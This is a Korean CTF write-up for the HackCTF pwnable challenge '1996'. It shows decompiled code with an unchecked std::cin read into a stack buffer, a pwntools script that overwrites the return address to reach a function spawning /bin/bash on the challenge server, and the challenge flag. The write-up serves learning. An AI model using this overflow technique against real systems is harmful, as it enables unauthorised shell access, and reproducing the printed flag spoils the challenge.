[HackCTF / pwnable] 1996
2019. 10. 8. 07:14ㆍWargame & CTF/HackCTF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // rdx __int64 v4; // rax __int64 v5; // rdx __int64 v6; // rbx char *v7; // rax __int64 v8; // rdx __int64 v9; // rax char name; // [rsp+0h] [rbp-410h] std::operator<<<std::char_traits<char>>(&_bss_start, "Which environment variable do you want to read? ", envp); std::operator>><char,std::char_traits<char>>(&std::cin, &name); v4 = std::operator<<<std::char_traits<char>>(&_bss_start, &name, v3); v6 = std::operator<<<std::char_traits<char>>(v4, "=", v5); v7 = getenv(&name); v9 = std::operator<<<std::char_traits<char>>(v6, v7, v8); std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>); return 0; } | cs |
1 2 3 4 5 6 7 8 9 | int spawn_shell(void) { char *argv; // [rsp+0h] [rbp-10h] __int64 v2; // [rsp+8h] [rbp-8h] argv = "/bin/bash"; v2 = 0LL; return execve("/bin/bash", &argv, 0LL); } | cs |
spawn_shell 함수를 실행하면 쉘이 따진다.
std::cin으로 name에 입력을 받는다. 이거를 오버플로우를 시켜서 ret을 spawn_shell로 덮어씌우면 쉘이 뜰것이다.
ex.py
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * e = ELF("./1996") #p = process("./1996") p = remote("ctf.j0n9hyun.xyz", 3013) p.recvuntil("? ") payload = "" payload += "A"*(0x410+0x8) payload += p64(e.symbols["_Z11spawn_shellv"]) p.sendline(payload) p.interactive() | cs |
1996 : HackCTF{b29a2800780d85cfc346}
'Wargame & CTF > HackCTF' 카테고리의 다른 글
[HackCTF / pwnable] RTL_Core (0) | 2019.10.08 |
---|---|
[HackCTF / pwnable] Random Key (0) | 2019.10.08 |
[HackCTF / pwnable] g++ pwn (0) | 2019.10.08 |
[HackCTF / pwnable] RTL_World (0) | 2019.10.08 |
[HackCTF / pwnable] Yes or no (0) | 2019.10.05 |